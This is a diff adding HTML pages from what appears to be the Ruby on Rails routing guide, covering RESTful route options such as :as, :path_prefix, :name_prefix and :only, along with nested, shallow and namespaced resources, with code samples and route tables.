+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>That would give you routing for <tt>admin/photos</tt> and <tt>admin/videos</tt> controllers.</p></div>
+<h4 id="_using_singular">3.7.1. Using :singular</h4>
+<div class="para"><p>If for some reason Rails isn't doing what you want in converting the plural resource name to a singular name in member routes, you can override its judgment with the <tt>:singular</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>teeth<span style="color: #990000">,</span> <span style="color: #990000">:</span>singular <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"tooth"</span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">Depending on the other code in your application, you may prefer to add additional rules to the <tt>Inflector</tt> class instead.</td>
+</tr></table>
+</div>
+<h4 id="_using_requirements">3.7.2. Using :requirements</h4>
+<div class="para"><p>You an use the <tt>:requirements</tt> option in a RESTful route to impose a format on the implied <tt>:id</tt> parameter in the singular routes. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>requirements <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>id <span style="color: #990000">=&gt;</span> <span style="color: #FF6600">/[A-Z][A-Z][0-9]+/</span><span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This declaration constrains the <tt>:id</tt> parameter to match the supplied regular expression. So, in this case, <tt>/photos/1</tt> would no longer be recognized by this route, but <tt>/photos/RR27</tt> would.</p></div>
+<h4 id="_using_conditions">3.7.3. Using :conditions</h4>
+<div class="para"><p>Conditions in Rails routing are currently used only to set the HTTP verb for individual routes. Although in theory you can set this for RESTful routes, in practice there is no good reason to do so. (You'll learn more about conditions in the discussion of classic routing later in this guide.)</p></div>
+<h4 id="_using_as">3.7.4. Using :as</h4>
+<div class="para"><p>The <tt>:as</tt> option lets you override the normal naming for the actual generated paths. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>as <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"images"</span>
+</tt></pre></div></div>
+<div class="para"><p>will recognize incoming URLs containing <tt>image</tt> but route the requests to the Photos controller:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="182" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+  <tr>
+    <th align="left">
+    HTTP verb
+    </th>
+    <th align="left">
+    URL
+    </th>
+    <th align="left">
+    controller
+    </th>
+    <th align="left">
+    action
+    </th>
+    <th align="left">
+    used for
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /images
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    index
+    </td>
+    <td align="left">
+    display a list of all photos
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /images/new
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    new
+    </td>
+    <td align="left">
+    return an HTML form for creating a new photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    POST
+    </td>
+    <td align="left">
+    /images
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    create
+    </td>
+    <td align="left">
+    create a new photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /images/1
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    show
+    </td>
+    <td align="left">
+    display a specific photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /images/1/edit
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    edit
+    </td>
+    <td align="left">
+    return an HTML form for editing a photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    PUT
+    </td>
+    <td align="left">
+    /images/1
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    update
+    </td>
+    <td align="left">
+    update a specific photo
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    DELETE
+    </td>
+    <td align="left">
+    /images/1
+    </td>
+    <td align="left">
+    Photos
+    </td>
+    <td align="left">
+    destroy
+    </td>
+    <td align="left">
+    delete a specific photo
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The helpers will be generated with the name of the resource, not the path name. So in this case, you'd still get <tt>photos_path</tt>, <tt>new_photo_path</tt>, and so on.</td>
+</tr></table>
+</div>
+<h4 id="_using_path_names">3.7.5. Using :path_names</h4>
+<div class="para"><p>The <tt>:path_names</tt> option lets you override the automatically-generated "new" and "edit" segments in URLs:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_names <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This would cause the routing to recognize URLs such as</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/photos/make
+/photos/1/change</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The actual action names aren't changed by this option; the two URLs show would still route to the new and edit actions.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you find yourself wanting to change this option uniformly for all of your routes, you can set a default in your environment:</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>config<span style="color: #990000">.</span>action_controller<span style="color: #990000">.</span>resources_path_names <span style="color: #990000">=</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'make'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>edit <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'change'</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<h4 id="_using_path_prefix">3.7.6. Using :path_prefix</h4>
+<div class="para"><p>The <tt>:path_prefix</tt> option lets you add additional parameters that will be prefixed to the recognized paths. For example, suppose each photo in your application belongs to a particular photographer. In that case, you might declare this route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span>
+</tt></pre></div></div>
+<div class="para"><p>Routes recognized by this entry would include:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/photographers/1/photos/2
+/photographers/1/photos</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">In most cases, it's simpler to recognize URLs of this sort by creating nested resources, as discussed in the next section.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">You can also use <tt>:path_prefix</tt> with non-RESTful routes.</td>
+</tr></table>
+</div>
+<h4 id="_using_name_prefix">3.7.7. Using :name_prefix</h4>
+<div class="para"><p>You can use the :name_prefix option to avoid collisions between routes. This is most useful when you have two resources with the same name that use <tt>:path_prefix</tt> to map differently. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/photographers/:photographer_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'photographer_'</span>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'/agencies/:agency_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'agency_'</span>
+</tt></pre></div></div>
+<div class="para"><p>This combination will give you route helpers such as <tt>photographer_photos_path</tt> and <tt>agency_edit_photo_path</tt> to use in your code.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">You can also use <tt>:name_prefix</tt> with non-RESTful routes.</td>
+</tr></table>
+</div>
+<h4 id="_using_only_and_except">3.7.8. Using :only and :except</h4>
+<div class="para"><p>By default, Rails creates routes for all seven of the default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the <tt>:only</tt> and <tt>:except</tt> options to fine-tune this behavior. The <tt>:only</tt> option specifies that only certain routes should be generated:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>only <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>index<span style="color: #990000">,</span> <span style="color: #990000">:</span>show<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<div class="para"><p>With this declaration, a <tt>GET</tt> request to <tt>/photos</tt> would succeed, but a <tt>POST</tt> request to <tt>/photos</tt> (which would ordinarily be routed to the create action) will fail.</p></div>
+<div class="para"><p>The <tt>:except</tt> option specifies a route or list of routes that should <em>not</em> be generated:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>except <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>destroy
+</tt></pre></div></div>
+<div class="para"><p>In this case, all of the normal routes except the route for <tt>destroy</tt> (a <tt>DELETE</tt> request to <tt>/photos/<em>id</em></tt>) will be generated.</p></div>
+<div class="para"><p>In addition to an action or a list of actions, you can also supply the special symbols <tt>:all</tt> or <tt>:none</tt> to the <tt>:only</tt> and <tt>:except</tt> options.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If your application has many RESTful routes, using <tt>:only</tt> and <tt>:accept</tt> to generate only the routes that you actually need can cut down on memory use and speed up the routing process.</td>
+</tr></table>
+</div>
+<h3 id="_nested_resources">3.8. Nested Resources</h3>
+<div class="para"><p>It's common to have resources that are logically children of other resources. For example, suppose your application includes these models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Magazine <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_many <span style="color: #990000">:</span>ads
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Ad <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>magazine
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Each ad is logically subservient to one magazine. Nested routes allow you to capture this relationship in your routing. In this case, you might include this route declaration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+  magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In addition to the routes for magazines, this declaration will also create routes for ads, each of which requires the specification of a magazine in the URL:</p></div>
+<div class="tableblock">
+<table rules="all"
+frame="hsides"
+cellspacing="0" cellpadding="4">
+<col width="125" />
+<col width="274" />
+<col width="137" />
+<col width="102" />
+<col width="502" />
+<thead>
+  <tr>
+    <th align="left">
+    HTTP verb
+    </th>
+    <th align="left">
+    URL
+    </th>
+    <th align="left">
+    controller
+    </th>
+    <th align="left">
+    action
+    </th>
+    <th align="left">
+    used for
+    </th>
+  </tr>
+</thead>
+<tbody valign="top">
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /magazines/1/ads
+    </td>
+    <td align="left">
+    Ads
+    </td>
+    <td align="left">
+    index
+    </td>
+    <td align="left">
+    display a list of all ads for a specific magazine
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /magazines/1/ads/new
+    </td>
+    <td align="left">
+    Ads
+    </td>
+    <td align="left">
+    new
+    </td>
+    <td align="left">
+    return an HTML form for creating a new ad belonging to a specific magazine
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    POST
+    </td>
+    <td align="left">
+    /magazines/1/ads
+    </td>
+    <td align="left">
+    Ads
+    </td>
+    <td align="left">
+    create
+    </td>
+    <td align="left">
+    create a new ad belonging to a specific magazine
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /magazines/1/ads/1
+    </td>
+    <td align="left">
+    Ads
+    </td>
+    <td align="left">
+    show
+    </td>
+    <td align="left">
+    display a specific ad belonging to a specific magazine
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    GET
+    </td>
+    <td align="left">
+    /magazines/1/ads/1/edit
+    </td>
+    <td align="left">
+    Ads
+    </td>
+    <td align="left">
+    edit
+    </td>
+    <td align="left">
+    return an HTML form for editing an ad belonging to a specific magazine
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    PUT
+    </td>
+    <td align="left">
+    /magazines/1/ads/1
+    </td>
+    <td align="left">
+    Ads
+    </td>
+    <td align="left">
+    update
+    </td>
+    <td align="left">
+    update a specific ad belonging to a specific magazine
+    </td>
+  </tr>
+  <tr>
+    <td align="left">
+    DELETE
+    </td>
+    <td align="left">
+    /magazines/1/ads/1
+    </td>
+    <td align="left">
+    Ads
+    </td>
+    <td align="left">
+    destroy
+    </td>
+    <td align="left">
+    delete a specific ad belonging to a specific magazine
+    </td>
+  </tr>
+</tbody>
+</table>
+</div>
+<div class="para"><p>This will also create routing helpers such as <tt>magazine_ads_url</tt> and <tt>edit_magazine_ad_path</tt>.</p></div>
+<h4 id="_using_name_prefix_2">3.8.1. Using :name_prefix</h4>
+<div class="para"><p>The <tt>:name_prefix</tt> option overrides the automatically-generated prefix in nested route helpers. For example,</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+  magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'periodical'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will create routing helpers such as <tt>periodical_ads_url</tt> and <tt>periodical_edit_ad_path</tt>. You can even use <tt>:name_prefix</tt> to suppress the prefix entirely:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+  magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will create routing helpers such as <tt>ads_url</tt> and <tt>edit_ad_path</tt>. Note that calling these will still require supplying an article id:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ads_url<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">)</span>
+edit_ad_path<span style="color: #990000">(</span><span style="color: #009900">@magazine</span><span style="color: #990000">,</span> <span style="color: #009900">@ad</span><span style="color: #990000">)</span>
+</tt></pre></div></div>
+<h4 id="_using_has_one_and_has_many">3.8.2. Using :has_one and :has_many</h4>
+<div class="para"><p>The <tt>:has_one</tt> and <tt>:has_many</tt> options provide a succinct notation for simple nested routes. Use <tt>:has_one</tt> to nest a singleton resource, or <tt>:has_many</tt> to nest a plural resource:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_one <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photographer<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>publications<span style="color: #990000">,</span> <span style="color: #990000">:</span>versions<span style="color: #990000">]</span>
+</tt></pre></div></div>
+<div class="para"><p>This has the same effect as this set of declarations:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>photo<span style="color: #990000">|</span>
+  photo<span style="color: #990000">.</span>resource <span style="color: #990000">:</span>photographer
+  photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publications
+  photo<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>versions
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h4 id="_limits_to_nesting">3.8.3. Limits to Nesting</h4>
+<div class="para"><p>You can nest resources within other nested resources if you like. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
+  publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+    magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>However, without the use of <tt>name_prefix &#8658; nil</tt>, deeply-nested resources quickly become cumbersome. In this case, for example, the application would recognize URLs such as</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/publishers/1/magazines/2/photos/3</tt></pre>
+</div></div>
+<div class="para"><p>The corresponding route helper would be <tt>publisher_magazine_photo_url</tt>, requiring you to specify objects at all three levels. Indeed, this situation is confusing enough that a popular <a href="http://weblog.jamisbuck.org/2007/2/5/nesting-resources">article</a> by Jamis Buck proposes a rule of thumb for good Rails design:</p></div>
+<div class="para"><p><em>Resources should never be nested more than 1 level deep.</em></p></div>
+<h4 id="_shallow_nesting">3.8.4. Shallow Nesting</h4>
+<div class="para"><p>The <tt>:shallow</tt> option provides an elegant solution to the difficulties of deeply-nested routes. If you specify this option at any level of routing, then paths for nested resources which reference a specific member (that is, those with an <tt>:id</tt> parameter) will not use the parent path prefix or name prefix. To see what this means, consider this set of routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>publisher<span style="color: #990000">|</span>
+  publisher<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+    magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable recognition of (among others) these routes:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/publishers/1           ==&gt; publisher_path(1)
+/publishers/1/magazines ==&gt; publisher_magazines_path(1)
+/magazines/2            ==&gt; magazine_path(2)
+/magazines/2/photos     ==&gt; magazines_photos_path(2)
+/photos/3               ==&gt; photo_path(3)</tt></pre>
+</div></div>
+<div class="para"><p>With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. If you like, you can combine shallow nesting with the <tt>:has_one</tt> and <tt>:has_many</tt> options:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>magazines <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>photos <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<h3 id="_route_generation_from_arrays">3.9. Route Generation from Arrays</h3>
+<div class="para"><p>In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+  magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails will generate helpers such as magazine_ad_path that you can use in building links:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>Another way to refer to the same route is with an array of objects:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;%= link_to "Ad details", [@magazine, @ad] %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.</p></div>
+<h3 id="_namespaced_resources">3.10. Namespaced Resources</h3>
+<div class="para"><p>It's possible to do some quite complex things by combining <tt>:path_prefix</tt> and <tt>:name_prefix</tt>. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos'</span>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_tags'</span>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ratings<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'admin/photo_ratings'</span>
+</tt></pre></div></div>
+<div class="para"><p>The good news is that if you find yourself using this level of complexity, you can stop. Rails supports <em>namespaced resources</em> to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>namespace<span style="color: #990000">(:</span>admin<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
+        admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span>
+          <span style="color: #990000">:</span>has_many <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>ratings<span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
